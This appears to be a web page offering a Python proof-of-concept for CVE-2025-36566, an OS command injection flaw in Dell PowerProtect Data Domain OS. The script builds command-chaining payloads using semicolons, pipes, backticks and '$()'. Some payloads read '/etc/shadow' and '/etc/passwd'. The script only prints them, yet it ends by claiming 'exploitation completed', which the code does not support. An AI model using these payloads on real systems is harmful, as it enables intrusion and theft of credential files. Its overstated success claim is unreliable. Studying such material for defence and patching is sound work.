CVE-2025-36566 Dell PowerProtect Data Domain OS命令注入漏洞

# CVE-2025-36566 - Dell PowerProtect Data Domain OS Command Injection PoC # This PoC demonstrates the concept of OS command injection in DD OS # Note: Requires high privileged local access to the DD OS system import subprocess import sys def exploit_dd_os_command_injection(target_input): """ Conceptual PoC for CVE-2025-36566 OS Command Injection The vulnerability exists in DD OS where user-supplied input is passed to system shell commands without proper sanitization. """ # Vulnerable code pattern (pseudo-code representation): # os.system("ddadmin command " + user_input) # Malicious payload example - injecting additional commands via shell metacharacters # The semicolon (;) terminates the original command and starts a new one malicious_payload = target_input + "; id; whoami; cat /etc/shadow" # In a real attack scenario, the attacker would interact with DD OS # through its administrative interface or SSH session print(f"[*] Attempting command injection with payload: {malicious_payload}") # Example of vulnerable command construction: # The DD OS may construct commands like: # /opt/dd/bin/ddadmin <user_input> # Without proper input validation, shell metacharacters are interpreted # Demonstration of command injection techniques: payloads = [ "normal_command; id", # Command chaining with semicolon "normal_command | cat /etc/passwd", # Pipe injection "normal_command `id`", # Backtick command substitution "normal_command $(whoami)", # Dollar-parentheses substitution "normal_command && malicious_command", # AND operator chaining ] for payload in payloads: print(f"[+] Payload: {payload}") # In actual exploitation, this would be sent to the vulnerable DD OS endpoint # subprocess.run(payload, shell=True) # This would execute the injected command return "Exploitation completed - check for root access" if __name__ == "__main__": if len(sys.argv) > 1: target = sys.argv[1] else: target = "legitimate_admin_command" result = exploit_dd_os_command_injection(target) print(result)